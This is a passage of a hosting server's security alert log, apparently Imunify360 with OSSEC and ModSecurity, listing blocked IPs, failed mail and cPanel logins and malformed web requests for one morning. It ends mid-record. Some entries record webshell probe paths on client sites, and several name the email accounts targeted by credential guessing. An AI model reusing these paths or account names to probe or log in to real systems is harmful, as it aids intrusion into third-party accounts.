abuser: 125.212.240.205
country_id: 1562822
description:
Jan 21 05:09:16 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.240.205 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.8.67
country_id: 3175395
description:
Jan 21 05:10:54 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.8.67 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.8.67
country_id: 3175395
description:
Jan 21 05:11:01 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.8.67 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 58.35.120.169
country_id: 1814991
description:
Jan 21 05:11:28 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 58.35.120.169 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 71.178.203.226
country_id: 6252001
description:
Jan 21 05:11:40 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 71.178.203.226 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.35.120.169
country_id: 1814991
description:
2026-01-21 05:11:30 dovecot_login authenticator failed for H=([58.35.120.169]) [58.35.120.169]:12212: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.178.203.226
country_id: 6252001
description:
2026-01-21 05:11:42 dovecot_login authenticator failed for H=pool-71-178-203-226.washdc.fios.verizon.net [71.178.203.226]:52256: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 05:13:43 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.82.253.243
country_id: 1168579
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/mockery/mockery/docs/reference/index.rst HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 54.218.9.42
country_id: 6252001
domain: fkr.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/img/postn.php||SC:/home2/fkrcom/public_html/img/postn.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.124.182.88
country_id: 3175395
description:
Jan 21 05:14:11 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.124.182.88 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.40
country_id: 2921044
description:
Jan 21 05:14:32 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.40 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.255.128.16
country_id: 6252001
description:
2026-01-21 05:15:55 dovecot_login authenticator failed for H=([127.0.0.1]) [70.255.128.16]:51664: 535 Incorrect authentication data (set_id=info@exceptionalmy.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.129
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/tujusetia.my/wp-content/themes/batiment/assets/css/all.min.css?ver=6.6.4 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.171.74.15
country_id: 3469034
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/tujusetia.my/corporate/ HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.136
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/tujusetia.my/wp-content/themes/batiment/style.css?ver=6.6.4 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.156
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/tujusetia.my/wp-content/plugins/revslider/public/assets/css/rs6.css?ver=6.3.9 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.153
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/tujusetia.my/wp-content/themes/batiment/assets/css/slick.css?ver=6.6.4 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.132
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/tujusetia.my/wp-content/themes/batiment/assets/css/magnific-popup.css?ver=6.6.4 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.149
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/tujusetia.my/wp-content/themes/batiment/assets/css/owl.carousel.css?ver=6.6.4 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.151
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/tujusetia.my/wp-content/themes/batiment/assets/css/responsive.css?ver=6.6.4 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.142
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/tujusetia.my/wp-includes/css/dist/block-library/style.min.css?ver=6.6.4 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.152
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/tujusetia.my/wp-content/themes/batiment/assets/css/flaticon.css?ver=6.6.4 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.147
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/tujusetia.my/wp-content/themes/batiment/assets/css/type-writter.css?ver=6.6.4 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.140
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/tujusetia.my/wp-content/themes/batiment/assets/css/font-awesome.min.css?ver=6.6.4 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.144
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/tujusetia.my/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.4 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.133
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/tujusetia.my/wp-content/themes/batiment-child/style.css?ver=6.6.4 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.81.155.235
country_id: 1880251
domain: www.nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.nobledec.com/thumb.php?src=img/photos/5689504881.jpg&size=262*388 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 104.168.4.98
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:05-21.104.168.4.98||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.22
country_id: 241170
description:
Jan 21 05:21:25 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.22 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 157.100.107.123
country_id: 3658394
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?id=36&page=39 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.41
country_id: 2921044
description:
Jan 21 05:22:01 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.41 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.250
country_id: 2921044
description:
Jan 21 05:22:07 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.250 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.83.73
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/our-locations.html HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 05:26:34 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.5.178.229
country_id: 3865483
description:
Jan 21 05:29:04 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.5.178.229 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.5.178.229
country_id: 3865483
description:
2026-01-21 05:29:06 dovecot_login authenticator failed for H=([186.5.178.229]) [186.5.178.229]:40248: 535 Incorrect authentication data (set_id=boss@astlog.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.212.240.205
country_id: 1562822
description:
Jan 21 05:31:19 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.240.205 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.134.8.5
country_id: 953987
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/league/mime-type-detection/CHANGELOG.md HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.20.75.107
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=57161514863608 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 167.99.196.59
country_id: 2635167
description:
2026-01-21  5:34:40 451836 [Warning] Aborted connection 451836 to db: 'unconnected' user: 'unauthenticated' host: '167.99.196.59' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 05:35:53 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 170.82.55.113
country_id: 3469034
description:
Jan 21 05:37:01 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 170.82.55.113 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.105.76
country_id: 3469034
description:
Jan 21 05:39:16 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.105.76 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.153.62.30
country_id: 1643084
domain: krisfood.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/krisfood.com/about.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/keyword/img/druma_photos/testimonial.php||SC:/home/indfinitydesign/public_html/keyword||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.237.58.251
country_id: 1269750
description:
Jan 21 05:46:20 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.237.58.251 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 05:48:41 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.151.159.66
country_id: 3865483
description:
Jan 21 05:51:06 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.151.159.66 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.212.240.205
country_id: 1562822
description:
Jan 21 05:53:19 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.240.205 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 209.163.117.30
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:05-53.209.163.117.30||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 05:57:58 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.71.88
country_id: 3469034
description:
Jan 21 06:00:29 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.71.88 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.239.41.102
country_id: 3469034
description:
Jan 21 06:00:07 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.239.41.102 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.2.237.144
country_id: 1269750
description:
Jan 21 06:00:13 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.2.237.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.240.209
country_id: 1269750
description:
Jan 21 06:01:52 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.240.209 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.75.222.34
country_id: 3077311
description:
Jan 21 06:01:58 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.75.222.34 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.227.167
country_id: 1269750
description:
Jan 21 06:02:13 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.227.167 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 58.150.154.235
country_id: 1835841
description:
Jan 21 06:02:35 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 58.150.154.235 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.127.44.34
country_id: 2395170
description:
Jan 21 06:04:28 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.127.44.34 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 92.71.76.27
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:06-05.92.71.76.27||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 58.49.113.138
country_id: 1814991
description:
Jan 21 06:06:30 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 58.49.113.138 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.49.113.138
country_id: 1814991
description:
2026-01-21 06:06:32 dovecot_login authenticator failed for H=(www.safecleen.com) [58.49.113.138]:13250: 535 Incorrect authentication data (set_id=salesi@chs.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.81.229.34
country_id: 3865483
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=91911516784325 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.142.146.167
country_id: 1835841
description:
Jan 21 06:10:22 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.142.146.167 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.54.238.57
country_id: 2542007
description:
[2026-01-21 06:10:50 +0800] info [cpaneld] 102.54.238.57 - afcmalaysia "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user afcmalaysia (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 06:10:53 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.220.3.101
country_id: 226074
description:
2026-01-21 06:10:18 dovecot_login authenticator failed for H=([41.220.3.113]) [41.220.3.101]:16267: 535 Incorrect authentication data (set_id=william_althea@imax.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.146.167
country_id: 1835841
description:
2026-01-21 06:10:24 dovecot_login authenticator failed for H=([121.142.146.167]) [121.142.146.167]:33968: 535 Incorrect authentication data (set_id=william_althea@imax.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.71.28
country_id: 3469034
description:
Jan 21 06:10:55 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.71.28 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.220.3.101
country_id: 226074
description:
Jan 21 06:10:16 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.220.3.101 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.71.28
country_id: 3469034
description:
Jan 21 06:11:04 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.71.28 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.168.9.94
country_id: 3996063
description:
Jan 21 06:11:40 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.168.9.94 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.140.123.145
country_id: 3469034
description:
Jan 21 06:12:02 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.140.123.145 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.212.240.205
country_id: 1562822
description:
Jan 21 06:15:26 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.240.205 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.210
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/img/img/demos/img/index.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.204
country_id: 1880251
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/vendor/css-hamburgers/hamburgers.min.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.215
country_id: 1880251
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/vendor/font-awesome-5/css/fontawesome-all.min.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.179
country_id: 1880251
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/vendor/select2/select2.min.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.154
country_id: 1880251
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/css/poppins-font.min.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.149
country_id: 1880251
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/vendor/revolution/css/navigation.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.132
country_id: 1880251
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/vendor/themify-font/fonts/themify9f24.woff?-fvbane HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.64
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/news-n-events/img/img/img/img/img/demos/product.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 197.184.177.48
country_id: 953987
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/ HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.207
country_id: 1880251
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/vendor/animate.css/animate.min.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.147
country_id: 1880251
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/vendor/bootstrap-4.1/bootstrap.min.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.197
country_id: 1880251
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/css/main.min.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.247
country_id: 1880251
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/fonts/poppins/poppins-v5-latin-700.woff2 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.210
country_id: 1880251
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/vendor/slick/slick.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.135
country_id: 1880251
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/vendor/revolution/css/layers.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.133
country_id: 1880251
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/vendor/animsition/animsition.min.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.140
country_id: 1880251
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/vendor/mdi-font/fonts/Material-Design-Iconic-Fontd1f1.woff2?v=2.2.0 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.252
country_id: 1880251
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/fonts/poppins/poppins-v5-latin-300.woff2 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.250
country_id: 1880251
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/vendor/revolution/css/settings.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.166
country_id: 1880251
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/vendor/themify-font/themify-icons.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.160
country_id: 1880251
domain: cofreth.com.my
description:
